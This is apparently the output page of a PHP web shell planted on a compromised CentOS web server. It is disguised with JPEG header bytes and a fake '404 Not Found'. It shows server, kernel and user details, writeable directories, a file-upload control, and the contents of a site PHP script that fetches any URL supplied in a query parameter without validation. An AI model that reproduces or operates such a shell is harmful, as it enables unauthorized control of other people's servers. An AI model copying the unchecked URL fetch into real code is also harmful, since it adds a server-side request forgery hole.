ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/logs/curl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/logs/curl/bomtan.org.php
<?php
if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')){
    ob_start('ob_gzhandler');
}else{
    ob_start();
}
/*if(trim($_SERVER['REMOTE_ADDR'])!='212.237.5.228'){
    die('No access');
    exit();
}*/
require 'src/cryptojs-aes/cryptojs-aes.php';
require 'src/Curl/ArrayUtil.php';
require 'src/Curl/CaseInsensitiveArray.php';
require 'src/Curl/Curl.php';
require 'src/Curl/Decoder.php';
require 'src/Curl/MultiCurl.php';
use \Curl\Curl;

// curl --request GET "https://httpbin.org/get?key=value"
$url = trim($_GET['url']);
$curl = new Curl();
/*$headers = array(

    'Accept-Encoding:gzip, deflate',
    'Accept-Language:en-US,en;q=0.8',
    'Connection:keep-alive',
    'Content-Length:308',
    'Content-Type:application/x-www-form-urlencoded; charset=UTF-8',
    'Host:anivn.com',
    'Origin:http://anivn.com',
    'Referer:http://anivn.com/',
    'User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
);
$curl->setOpt(CURLOPT_HTTPHEADER , $headers);
$curl->setOpt(CURLOPT_REFERER , 'http://anivn.com/');
$curl->setOpt(CURLOPT_ENCODING , "gzip");
$curl->setOpt(CURLOPT_FOLLOWLOCATION , true);
$curl->setOpt(CURLOPT_CUSTOMREQUEST , 'POST');
$curl->setOpt(CURLOPT_POSTFIELDS, "your_var");*/
$curl->get($url);

$res = $curl->response;

$curl->close();
$arr = explode('id="movie"',$res);
$res = $arr[1];
preg_match('#var api = \"(.*?)\";#is',$res,$match);
$urlapi = $match[1];
preg_match('#var url = \"(.*?)\";#is',$res,$match);
$link_encode = $match[1];
preg_match('#var name 	= \"(.*?)\";#is',$res,$match);
$name = $match[1];
if(!empty($urlapi)) {
    $request_url = $urlapi . '?url=' . $link_encode . '&name=' . $name . '&sub=&_=' . time();
}else{
    preg_match('#url \: \"(.*?)\"\,#is',$res,$match);
    $urlapi = $match[1];
    preg_match('#\"url\"\: \"(.*?)\"\,#is',$res,$match);
    $link_encode = $match[1];
    preg_match('#\"name\"\: \"(.*?)\"\,#is',$res,$match);
    $name = $match[1];
    $request_url = $urlapi . '?url=' . $link_encode . '&name=' . $name . '&sub=&_=' . time();
}
echo $request_url;
ob_end_flush();
exit();

?>

ZeroDay Forums Mini